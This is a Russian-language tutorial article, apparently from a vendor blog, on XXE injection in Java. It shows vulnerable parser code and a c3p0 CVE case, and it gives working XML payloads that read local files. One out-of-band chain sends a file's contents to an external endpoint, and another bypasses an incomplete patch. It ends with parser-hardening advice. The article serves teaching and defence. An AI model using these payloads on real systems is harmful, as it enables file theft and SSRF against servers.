
В этой статье мы рассмотрим дефект безопасности XXE в контексте Java. Поговорим о причинах возникновения и возможных последствиях, посмотрим на примеры и, конечно, обсудим способы защиты.
Начнём с примера. Он синтетический, но зато легко позволит понять суть проблемы.
Примечание. Примеры из статьи тестировались на OpenJDK 21.0.8.
Допустим, есть следующий код для парсинга настроек в формате XML:
public static void processSettings(InputStream settingsStream) {
...
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(settingsStream);
...
var licenseKey = getLicenseKey(document);
if (!isKeyValid(licenseKey)) {
reportError(String.format("'%s' license key is not valid.", licenseKey));
...
}
...
}
Логика следующая:
создаётся XML-парсер;
он разбирает настройки, для чтения которых используется поток settingsStream;
дальше идёт проверка лицензионного ключа из настроек, и, если ключ не валидный — сообщение об этом выдаётся пользователю.
Если передать настройки, ключ в которых пройдёт проверку isKeyValid(), — ожидаемо не получим вывода. Пример такого файла:
<?xml version="1.0" encoding="utf-8"?>
<AppSettings>
<!-- ... -->
<LicenseKey>A123-B456-C789</LicenseKey>
<!-- ... -->
</AppSettings>
Теперь передадим файл с невалидным ключом:
<?xml version="1.0" encoding="utf-8"?>
<AppSettings>
<!-- ... -->
<LicenseKey>Obviously not a valid key</LicenseKey>
<!-- ... -->
</AppSettings>
И получим ожидаемый вывод:
'Obviously not a valid key' license key is not valid.
А теперь передадим XML-файл следующего вида:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE AppSettings [
<!ENTITY xxe SYSTEM "file:///etc/hosts" >
]>
<AppSettings>
<!-- ... -->
<LicenseKey>&xxe;</LicenseKey>
<!-- ... -->
</AppSettings>
Выглядит более необычно, но всё ещё является валидным XML-файлом. Вывод:
'##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255.255.255.255 broadcasthost
::1 localhost
' license key is not valid.
Можно заметить, что:
формат сообщения об ошибке — "'%s' license key is not valid." — соблюдён;
при этом вместо лицензионного ключа было подставлено содержимое файла /etc/hosts.
То, что мы увидели — и есть XXE: XML-парсер считал прописанный в файле путь, и отдал содержимое этого файла наружу.
Забавно поэкспериментировать с такими вещами на локальной машине. Однако если 'опасный' парсинг происходит на удалённом сервере, а злоумышленник может подобным образом вытаскивать информацию с сервера наружу — приятного становится мало. Более того, можно обращаться не только к файлам, но и, например, к сетевым ресурсам, открывая возможность для других атак (SSRF). Впрочем, об этом мы поговорим чуть позже — сейчас остановимся именно на сути XXE.
XXE-инъекция (часто сокращается до XXE — акронима от XML eXternal Entities) — тип атаки на приложение, которое работает с данными в формате XML и основанными на нём. Например, XXE может эксплуатироваться при обработке SVG — формата векторных изображений — так как он также основан на XML.
XXE упоминается в различных перечнях дефектов безопасности, таких как CWE и OWASP Top 10:
CWE-611: Improper Restriction of XML External Entity Reference
OWASP Top 10:2021 — A05:2021 Security Misconfiguration (является подкатегорией)
-
OWASP ASVS 5.0.0 — V1.5 Safe Deserialization:
1.5.1: Verify that the application configures XML parsers to use a restrictive
configuration and that unsafe features such as resolving external entities are
disabled to prevent XML eXternal Entity (XXE) attacks.DTD validation should not be used, and framework DTD evaluation should be disabled, to avoid issues with XXE attacks against DTDs.
Если говорить о возможных рисках, можно выделить следующие:
утечки данных. На примере мы уже видели, что с помощью XXE можно попробовать прочитать и "вытащить" содержимое файлов. Более того — способы эксплуатации есть более изощрённые (с передачей содержимого как части HTTP/FTP-запроса) — пока что мы рассмотрели самый тривиальный;
SSRF (Server-Side Request Forgery). С помощью XXE можно заставить XML-парсер выполнять сетевые запросы от имени сервера (что уже само по себе опасно) с потенциальной возможностью раскрутить эту проблему безопасности дальше;
репутационные. Вряд ли кто-то будет рад оказаться в базах уязвимостей, типа CVE, NVD, GHAD и т. п.
Как же возникает XXE? Есть две обязательные составляющие:
небезопасно настроенный XML-парсер;
опасные данные.
Соответственно, если парсер настроен правильно, проблемы не будет, даже если он обрабатывает опасные данные. Обратное также верно: если опасно сконфигурированный парсер обрабатывает безопасные данные, проблемы не возникнет.
Отсюда вытекают два вопроса, которые нам и предстоит разобрать:
что собой представляют опасные данные?
какие XML-парсеры опасны?
Разберём каждый из пунктов.
Опасные XML-файлы
Опасные XML-файлы строятся на использовании внешних сущностей XML — XML external entities — от которых и происходит название дефекта безопасности.
Разберём пример XML из начала статьи, чтобы лучше понять, что там происходило:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE example [
<!ENTITY extEntity SYSTEM "file:///etc/hosts">
]>
<example>&extEntity;</example>
Самое интересное для нас здесь — DTD (Document Type Definition) с объявлением внешней сущности extEntity.
DTD (секция <!DOCTYPE>) позволяет объявлять XML-сущности. При этом сущности могут быть:
внутренними;
внешними (general external entities);
параметризованными (parameter external entities).
Внутренние сущности в этой статье разбирать не будем. Хотя отметим, что через них тоже можно эксплуатировать дефекты безопасности. Делается это через создание XML-бомб — файлов, где внутренние сущности раскрываются друг через друга. XML-парсеры, разбирающие подобные файлы, начинают потреблять большое количество ресурсов, что может привести к DoS (Denial of Service).
General external entities
Начнём с general external entities. Для простоты будем называть их "внешними сущностями".
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE example [
<!ENTITY extEntity SYSTEM "file:///etc/hosts">
]>
<example>&extEntity;</example>
Здесь объявлена внешняя сущность extEntity, определённая через файл /etc/hosts. Когда парсер встретит использование этой сущности — &extEntity;, то подставит вместо неё содержимое файла /etc/hosts.
Важный момент, на который стоит обратить внимание — сущность определяется внутри <!DOCTYPE>, но используется уже в самом теле XML.
Сущность может указывать не только на файл, но и на директорию. В таком случае результатом её использования будет содержимое указанной директории.
Пример кода и XML:
String xml = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n" +
"<!DOCTYPE example [\n" +
" <!ENTITY extEntity SYSTEM \"file:///Users/username/xxe-demo-folder\">\n" +
"]>\n" +
"<example>&extEntity;</example>\n";
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(new ByteArrayInputStream(xml.getBytes()));
System.out.println(document.getDocumentElement().getTextContent());
Содержимое соответствующей директории:

В результате исполнения кода получаем ожидаемый вывод — XML-парсер подставит вместо сущности содержимое директории:
.DS_Store
app.config
deps.json
dist
target.info
Более интересно, что значением сущности могут быть не только внутренние ресурсы, но и внешние. Рассмотрим этот момент подробнее.
Создадим удалённую точку доступа. Для демо можно использовать сервис beeceptor.com или настроить эндпоинты другим удобным способом.
Примечание. Если используете beeceptor — учтите, что точки доступа на нём публично доступные / редактируемые.
Допустим, у нас есть эндпоинт... /endpoint. На запрос он будет возвращать простое текстовое сообщение, которое будем расценивать как флаг успешного проведения XXE — XXE confirmed.

Рассмотрим фрагмент кода.. Он аналогичен примеру вышей с той разницей, что значением сущности будет путь до эндпоинта:
String xml = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n" +
"<!DOCTYPE example [\n" +
" <!ENTITY extEntity SYSTEM \"https://xxe-...free.beeceptor.com/endpoint\">\n" +
"]>\n" +
"<example>&extEntity;</example>\n";
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(new ByteArrayInputStream(xml.getBytes()));
System.out.println(document.getDocumentElement().getTextContent());
В результате выполнения этого кода XML-парсер выполнит запрос к указанному эндпоинту и подставит в качестве значения сущности полученное значение. То есть вывод кода будет следующим:
XXE confirmed
При этом со стороны beeceptor.com, на котором мы и настроили эндпоинт, увидим пришедший запрос:

Ещё раз подчеркну основной момент из примера выше, который часто является неожиданным для тех, кто не знаком с XXE: опасные XML-парсеры могут выполнять сетевые запросы при обработке скомпрометированных XML-файлов. Со всеми вытекающими последствиями.
Parameter external entities
Выше мы говорили, что существуют не только general external entities, но и parameter external entities. Пришло время познакомиться с ними. Не будем углубляться в тонкости, однако отметим, что, пожалуй, самые интересные атаки строятся как раз на основе parameter entities.
Что же такое "параметризованные сущности"? Рассмотрим XML с их объявлением:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE example [
<!ENTITY % paramEntity SYSTEM "https://...">
%paramEntity;
]>
<example></example>
В отличии от "классических" внешних сущностей параметризованные объявляются и используются с помощью символа %. Ещё одно отличие — параметризованные сущности используются прямо в DTD или выступают как части других сущностей, в то время как "классические" используются в теле самого XML:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE example [
<!ENTITY extEntity SYSTEM "https://... ">
]>
<example>&extEntity;</example>
При использовании параметризованных сущностей есть ряд ограничений, но это тема отдельного разговора. В первом приближении они не очень очевидны, и лучший вариант разобраться с ними — самостоятельно поэкспериментировать с параметризованными сущностями.
Рассмотрим на примере, для чего могут использоваться параметризованные сущности.
Допустим, у нас есть всё тот же код с опасным XML-парсером, выполняющим разбор небезопасных данных. Но в этот раз никакого явного возврата значения после разбора XML не будет.
Если модифицировать изначальный пример с лицензиями — получится что-то такое:
public static void processSettings(InputStream settingsStream) {
...
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(settingsStream);
...
var licenseKey = getLicenseKey(document);
if (!isKeyValid(licenseKey)) {
// reportError(String.format("'%s' license key is not valid.",
// licenseKey));
// Processing without error reporting
...
}
...
}
Результат разбора XML пользователю не возвращается. Можно ли в таком случае прочитать содержимое файла? Ответ — можно (хоть здесь и появляется большее количество ограничений).
Мы попробуем отправить содержимое файла... на эндпоинт.
Давайте немного упростим код, сделаем его более синтетическим и удобным для тестирования:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(new ByteArrayInputStream(xml.getBytes()));
// No any output
Никакого вывода — только парсинг.
Теперь сделаем несколько допущений, которые сильно упростят нам задачу (для демо — простительно):
мы знаем путь до файла, содержимое которого хотим получить;
файл однострочный и не содержит спец. символов.
Информация по файлу:
путь: /Users/username/Projects/xxe-demo-folder
содержимое: Answer to the Ultimate Question of Life, the Universe, and Everything is 42
Теперь подготовим XML-файлы.
Основной, который будем отдавать приложению:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY % extDTD SYSTEM "https://xxe-...free.beeceptor.com/externalDTD" >
%extDTD;
%param;
%query;
]>
Параметризованная сущность extDTD ссылается на контролируемый нами ресурс. После выполнения запроса вместо %extDTD; будет подставлено значение, возвращённое при обращении по эндпоинту /externalDTD. Таким образом мы введём в DTD сущности param и query.
Содержимое, которое будет возвращаться при запросе по /externalDTD:
<!ENTITY % file SYSTEM
"file:///Users/username/Projects/xxe-demo-folder/target.info">
<!ENTITY % param "<!ENTITY % query SYSTEM
'https://xxe-...free.beeceptor.com/xxe_endpoint?data=%file;'>">
Здесь мы вводим в область видимости несколько сущностей, встречавшихся ранее:
file — путь до файла, который мы хотим "вытащить". В месте использования будет подставлено содержимое файла;
param — при использовании введёт в область видимости новую сущность — query;
query — при использовании обратится к эндпоинту /xxe_endpoint. Обратите внимание, что в запросе используется сущность file (?data=%file;), то есть содержимое файла будет частью запроса.
После подстановки сущности extDTD и использования сущности исходный XML:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY % extDTD SYSTEM "https://xxe-...free.beeceptor.com/externalDTD" >
%extDTD;
%param;
%query;
]>
Превратится во что-то такое:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY % extDTD SYSTEM "https://xxe-...free.beeceptor.com/externalDTD" >
<!ENTITY % file SYSTEM "file:///Users/username/Projects/xxe-demo-folder/target.info">
<!ENTITY % query SYSTEM 'https://xxe-...free.beeceptor.com/xxe_endpoint?data=%file;'>
%query;
]>
Дальше — парсер обрабатывает вызов %query;, выполняя запрос, частью которого выступает содержимое файла.

Со стороны эндпоинта /xxe_endpoint видим пришедший запрос:
/xxe_endpoint?data=Answer%20to%20the%20Ultimate%20Question%20of%20Life,%20the%20Universe,%20and%20Everything%20is%2042

То, что мы сейчас видели, называется OOB XXE (Out-of-Band XML eXternal Entity). С помощью таких XXE-атак можно извлекать с атакуемой машины информацию, даже если результат разбора XML не возвращается явным образом.
Понятно, что OOB XXE-атаки проводить намного сложнее. Кроме того, легко наткнуться на ограничения по извлекаемым файлам: спецсимволы (например, символы переноса строк) и т. п.
В примере выше мы использовали DocumentBuilder для парсинга XML. При обращении к внешнему ресурсу парсер доходит до использования HttpsURLConnectionImpl, внутри которого происходит проверка URL:
static URL checkURL(URL u) throws IOException {
if (u != null) {
if (u.toExternalForm().indexOf('\n') > -1) {
throw new MalformedURLException("Illegal character in URL");
}
}
String s = IPAddressUtil.checkAuthority(u);
if (s != null) {
throw new MalformedURLException(s);
}
return u;
}
Соответственно, при обработке сущности с запросом вида .../xxe_endpoint?data=%file; где %file; — содержимое многострочного файла, метод checkURL выкинет исключение, встретив символ \n. Можно найти рекомендации для проведения атаки использовать ftp:// вместо http:// и https://, но в современных реализациях FtpURLConnection также есть защита:
static URL checkURL(URL u) throws IllegalArgumentException {
if (u != null) {
if (u.toExternalForm().indexOf('\n') > -1) {
Exception mfue = new MalformedURLException("Illegal character in URL");
throw new IllegalArgumentException(mfue.getMessage(), mfue);
}
}
...
}
Тем не менее, сама атака с возможностью SSRF всё ещё остаётся реальна, так что стоит быть внимательнее.
Опасные XML-парсеры
Мы выяснили, что опасные XML-данные строятся на использовании внешних сущностей. Теперь переходим к парсерам — какие же XML-парсеры являются опасными? Не поверите, но... те, которые обрабатывают внешние XML-сущности. :)
При работе с XML-парсером стоит учитывать следующие моменты:
обрабатывает ли он DTD?
обрабатывает ли внешние сущности?
обрабатывает ли параметризованные сущности?
Отдельный вопрос — какие из перечисленных настроек заданы в парсере по умолчанию. Если полистать GitHub Advisory Database на предмет XXE в Java-проектах (фильтры по CWE-611 и сборочной системе Maven), можно заметить интересную особенность — многие дефекты безопасности связаны с парсерами из "коробки". И вероятность наступить на грабли достаточно высока, если:
используются XML-парсеры с настройками по умолчанию;
разработчик не знает, что им нужно специально выставлять безопасную конфигурацию.
Согласитесь, если не знать о специфике XXE, вряд ли в голову придёт мысль в духе: "Ага, мне нужно выключить обработку XML-парсером внешних сущностей, чтобы злоумышленник не смог выполнить SSRF". Слишком неочевидно.
Ради интереса попросим ChatGPT написать код для парсинга XML-файлов. Получаем уже хорошо знакомый нам фрагмент:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(inputFile);
Как мы уже знаем, такой подход к парсингу XML опасен.
Причём, если задать ChatGPT прямой вопрос по поводу безопасности, он подтвердит, что парсер опасен, хотя изначально ничего об этом не упоминает:

Но чтобы прояснить у ChatGPT этот момент, нужно о нём знать — верно? А из коробки имеем, что имеем — код, который может "выстрелить".
Проблема актуальна не только для DocumentBuilder — с SAX-парсерами ситуация аналогична. Пример опасного кода:
String xml = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n" +
"<!DOCTYPE r [\n" +
" <!ENTITY % param SYSTEM \"https://xxe-...demo.free.beeceptor.com/xxe_endpoint?whatis=sax-param-xxe\">\n" +
" %param;\n" +
"]>\n" +
"<r></r>\n";
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser saxParser = factory.newSAXParser();
var handler = new DefaultHandler() {
// do something
};
saxParser.parse(new InputSource(new StringReader(xml)), handler);
В результате разбора XML SAXParser выполнит запрос, который можно отследить со стороны /xxe_endpoint.
Хочется отметить ещё один важный момент: SAXParserFactory, DocumentBuilderFactory скрывают конкретные экземпляры парсеров за абстрактными типами SAXParser и DocumentBuilder. В зависимости от конкретных реализаций фабрик и парсеры могут быть безопасными. Однако более вероятно обратное. Всё это порождает только ещё больше путаницы.
Обобщая, опасны те XML-парсеры, которые:
парсят DTD;
-
обрабатывают:
external general entities;
external parameter entities.
Соответственно, чтобы обезопасить парсер, нужно выключать процессинг DTD, а порой — и не только. Если DTD всё же нужен, следует максимально ограничивать обработку сущностей.
Рекомендации по безопасному конфигурированию XML-парсеров можно посмотреть в статье OWASP XML External Entity Prevention Cheat Sheet. Там приведён неплохой сборник безопасных настроек как разных парсеров для Java, так и других языков.
Выше мы неоднократно смотрели на DocumentBuilder — как сделать его безопасным?
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
dbf.setXIncludeAware(false);
...
Теперь при попытке разобрать XML с использованием внешних сущностей, получим исключение:
[Fatal Error] :2:10: DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.
org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 10; DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.
Аналогичным образом можно выставить настройки и для SAXParser:
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setXIncludeAware(false);
С такими настройками парсер выбросит исключение, когда при попытке обработки внешней сущности:
org.xml.sax.SAXParseException; lineNumber: 4; columnNumber: 10;
External Entity: Failed to read external document 'xxe_endpoint?whatis=sax-param-xxe', because 'https' access is not allowed due to restriction set by the accessExternalDTD property.
Совет в целом — лучше отключить чуть больше возможностей разбора XML, чем чуть меньше, и оставить потенциальную лазейку злоумышленникам. И давайте посмотрим, почему.
c3p0: CVE-2018-20433
Рассмотрим пример реальной уязвимости, найденной в форке проекта c3p0 (хотя в оригинале она также была):
затронутые версии: <= 0.9.5.2
Мы говорили, что нужно быть аккуратными с настройками XML-парсеров по умолчанию. Не менее аккуратными стоит быть с внешними библиотеками, которые проводят парсинг XML — не факт, что они не обрабатывают внешние сущности.
Как проверим наличие проблемы? Передадим библиотеке вредоносный XML, в котором объявим сущность с обращением к нашему эндпоинту. Со стороны эндпоинта будем следить за запросами — если пришёл, значит парсер обработал XML-сущности, и нам удалось выполнить XXE.
Проблемный метод — C3P0ConfigXmlUtils.extractXmlConfigFromInputStream. Вызовем его, передав вредоносный XML:
var filePath = "/path/to/xxe.xml";
InputStream xmlConfigStream = new FileInputStream(filePath);
var config = C3P0ConfigXmlUtils.extractXmlConfigFromInputStream(xmlConfigStream);
В xxe.xml объявляем внешнюю сущность через наш ресурс:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c3p0-config [
<!ENTITY xxe SYSTEM
"https://xxe-...free.beeceptor.com/c3p0-endpoint?whatis=xxetest">
]>
<c3p0-config>&xxe;</c3p0-config>
Выполняем код, и... видим на нашем эндпоинте запрос. Значит, XXE сработала.

Давайте посмотрим, что находится под капотом разбора конфига — взглянем на код extractXmlConfigFromInputStream:
public static C3P0Config
extractXmlConfigFromInputStream(InputStream is) throws Exception {
DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance();
DocumentBuilder db = fact.newDocumentBuilder();
Document doc = db.parse(is);
return extractConfigFromXmlDoc(doc);
}
Что мы видим? Используется DocumentBuilderFactory с настройками по умолчанию. Мы уже знаем, настройки по умолчанию для DocumentBuilderFactory — опасные, так как разрешают обработку DTD и внешних сущностей. Отсюда и последствия.
В версии 0.9.5.3 этот код поправили:
public static C3P0Config
extractXmlConfigFromInputStream(InputStream is, boolean expandEntityReferences)
throws Exception {
DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance();
fact.setExpandEntityReferences(expandEntityReferences);
DocumentBuilder db = fact.newDocumentBuilder();
Document doc = db.parse(is);
return extractConfigFromXmlDoc(doc);
}
Теперь при разборе конфига нужно явно указывать — раскрывать ли внешние сущности. За это отвечает параметр expandEntityReferences. Соответствующим образом меняется конфигурация и DocumentBuilderFactory.
Протестируем!
Наш вызов слегка изменяется — добавляется второй параметр:
var config
= C3P0ConfigXmlUtils.extractXmlConfigFromInputStream(xmlConfigStream, false);
Передадим тот же XML-файл, что и в прошлый раз.
В результате исполнения кода никаких исключений не выбрасывается, но и на сервер запрос не приходит:

Выходит, защита сработала? Похоже на то! Однако у нас же ещё есть параметризованные сущности. Попробуем использовать их.
Поменяем XML, который будем передавать на вход, заменив обычные внешние сущности на параметризованные. Также заменим значение параметра whatis:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE c3p0-config [
<!ENTITY % xxe SYSTEM
"https://xxe-...free.beeceptor.com/c3p0-endpoint?whatis=xxe_param_test">
%xxe;
]>
<c3p0-config></c3p0-config>
Отдаём на парсинг этот файл, и видим, что запрос снова прошёл!

Выходит, защитились недостаточно. Это как раз к разговору о том, что лучше отключить больше возможностей парсинга, чем меньше.
В версии v0.9.5.5 код поменяли ещё раз, он стал выглядеть так:
public static C3P0Config
extractXmlConfigFromInputStream(InputStream is, boolean usePermissiveParser)
throws ... {
DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance();
if (!usePermissiveParser) {
cautionDocumentBuilderFactory(fact);
}
DocumentBuilder db = fact.newDocumentBuilder();
Document doc = db.parse(is);
return extractConfigFromXmlDoc(doc);
}
Пользователю всё так же через параметр нужно указать, насколько безопасный парсер использовать. Настройками теперь занимается метод cautionDocumentBuilderFactory:
private static void
cautionDocumentBuilderFactory(DocumentBuilderFactory dbf) {
attemptSetFeature(
dbf,
"http://apache.org/xml/features/disallow-doctype-decl",
true);
attemptSetFeature(
dbf,
"http://xerces.apache.org/xerces-j/features.html#external-general-entities",
false);
attemptSetFeature(
dbf,
"http://xerces.apache.org/xerces2-j/features.html#external-general-entities",
false);
attemptSetFeature(
dbf,
"http://xml.org/sax/features/external-general-entities",
false);
attemptSetFeature(
dbf,
"http://xerces.apache.org/xerces-j/features.html#external-parameter-entities",
false);
attemptSetFeature(
dbf,
"http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities",
false);
attemptSetFeature(
dbf,
"http://xml.org/sax/features/external-parameter-entities",
false);
attemptSetFeature(
dbf,
"http://apache.org/xml/features/nonvalidating/load-external-dtd",
false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
}
В этот раз метод отключает и DTD, и внешние сущности, и параметризованные, и даже немного больше. Всё по заветам OWASP, и даже немного сверху.
Теперь при попытке распарсить XML с объявлением внешних сущностей, XML-парсер выбросит исключение:
[Fatal Error] :2:10: DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.
org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 10; DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.
Вывод — лучше отключить немного больше настроек парсинга, чем немного меньше.
Защита от XXE
Мы говорили о защите от XXE в контексте парсеров. Повторим и дополним.
Настраивайте XML-парсеры безопасным образом
Чем сильнее будет ограничен XML-парсер, тем лучше с точки зрения безопасности:
отключайте обработку DTD;
если DTD нужен — отключайте обработку XML-сущностей;
если отключаете обработку внешних XML-сущностей, не забывайте выключить как general external entities, так и parameter external entities;
если внешние сущности обрабатывать всё же нужно, проверяйте, что и как обрабатываете.
Особое внимание уделяйте XML-парсерам с настройками по умолчанию, так как в Java парсеры с настройками по умолчанию часто опасны.
Рекомендации по работе с конкретными XML-парсерами собраны на странице XML External Entity Prevention Cheat Sheet.
Используйте SAST-решения
SAST-инструменты (Static Application Security Testing) проводят анализ кода без его исполнения и также могут помочь в детекте потенциальных XXE.
Для поиска XXE анализаторы используют taint-анализ, который отслеживает попадание "недоверенных" данных в приложение, их распространение и возможности попадания в "стоки".
При этом:
"недоверенными" считаются те данные, которые попадают в приложение извне и, как следствие, могут быть быть использованы для эксплуатации дефектов безопасности. Примеры "недоверенных данных" — содержимое файлов, пользовательский ввод и т.п.;
"стоки" — точки приложения, которые могут привести к возникновению дефекта безопасности, при попадании в них опасных данных.
Это отлично ложится на те знания об XXE, которые мы получили ранее:
"недоверенные" данные -> опасные XML;
"стоки" -> опасные XML-парсеры.
Если SAST отследит, что данные пришли из внешнего окружения и разбираются опасным XML-парсером, то должен выдать предупреждение о возможной XXE.

Понятно, что область применения SAST-решений не ограничивается одним только поиском XXE, но как частный случай противодействия проблеме — вполне может использоваться.
Используйте SCA-решения
SCA-решения (Software Composition Analysis) ищут используемые приложением компоненты с уязвимостями. Так как сложно представить современное приложение, не использующее внешних библиотек, вопрос их безопасности также становится актуальным. При этом важно знать об уязвимостях не только в прямых зависимостях (используемых приложением напрямую), но и транзитивных (зависимостей, которые используются зависимостями).
SCA-решения закрывают эту нишу — предупреждают об использовании опасных библиотек, пакетов и т. п.
Пример из этой статьи, который может быть закрыт SCA-решением — использование уязвимых версий c3p0.
Выстраивайте процессы безопасной разработки
Мы упомянули SAST и SCA в контексте защиты от XXE. Поиск потенциальных проблем с XXE — это очень частные случаи использования этих инструментов. При выборе SAST и SCA нужно отталкиваться от экосистемы проекта (или скорее проектов), используемых языков, стоимости, скорости работы, удобства интеграции и т. п.
Более того, для полноценной защиты (от XXE, в частности) нужно выстраивать процессы безопасной разработки, SAST, SCA использовать вместе, а ещё прикрутить какой-нибудь WAF (Web Application Firewall) для анализа поступающих запросов и защиты от потенциальных XXE, пропущенных SAST и SCA.
Итоги
Мы кратко разобрали XXE в контексте Java, причины появления подобных дефектов безопасности и способы борьбы с ними.
Не забывайте проверять точки парсинга XML и следите за тем, какие парсеры используются. Особое внимание — внешним парсерам и парсерам с настройками по умолчанию.
Если захочется посмотреть на большее количество реальных уязвимостей в Java приложениях — советую полистать GitHub Advisory Database с фильтрами по Maven и CWE-611 (ссылка). Из интересного — в базе уже есть XXE от 2025 года — свежачок.

Часто записи из GitHub Advisory Database сопровождаются ссылками на исходный код проекта и на фикс уязвимости. Порой в ссылке на issue или в самой записи можно найти и POC. Всё это помогает лучше вникнуть в тему и разобраться с сутью проблемы.
Так что — удачи в дальнейшем изучении, и безопасного кода!
Примечание от команды Axiom JDK
В реальных продуктах картина может быть безопаснее, чем выглядит в учебных примерах.
В Axiom JDK вопросам безопасной обработки XML уделяется внимание уже на стадии проектирования решений. Например, в сервере приложений Libercat изначально реализованы меры защиты от распространённых атак, включая XXE.
Один из результатов регулярных проверок, которые проводят наши специалисты по безопасности, — подтверждение того, что в SOAP-интерфейсах Libercat по умолчанию блокируется использование DTD в XML-документах. Это означает, что попытка отправить вредоносный XML с внешними сущностями не приведёт к обработке запроса на сервере.
Разумеется, безопасность требует комплексного подхода и анализа всех XML-источников, но это хороший пример того, как зрелые платформы стремятся минимизировать риски на архитектурном уровне. А вот при разработке “на чистой Java” без использования зрелых библиотек вероятность попасть на XXE-грабли действительно выше.
Комментарии (4)
Alex283
06.08.2025 17:16Хорошая статья. Но вопросы не к XML - парсеру, а к файловой системе unix, а особенно к ее виртуальной части. Когда-то это было единственно хорошее решение для 60-х годов, когда не была хороших механизмов передачи информации между процессами, но держать за эту идею в течение 60 лет, как будто ничего не меняется - это уже маразм.
tuxi
Красивая дырочка. Спасибо за статью. На первой половине читал и думал, как хорошо, что в основном SAX используем, но дочитал до половины и оппа. SAX там же.
SergVasiliev Автор
Рад, всегда пожалуйста :)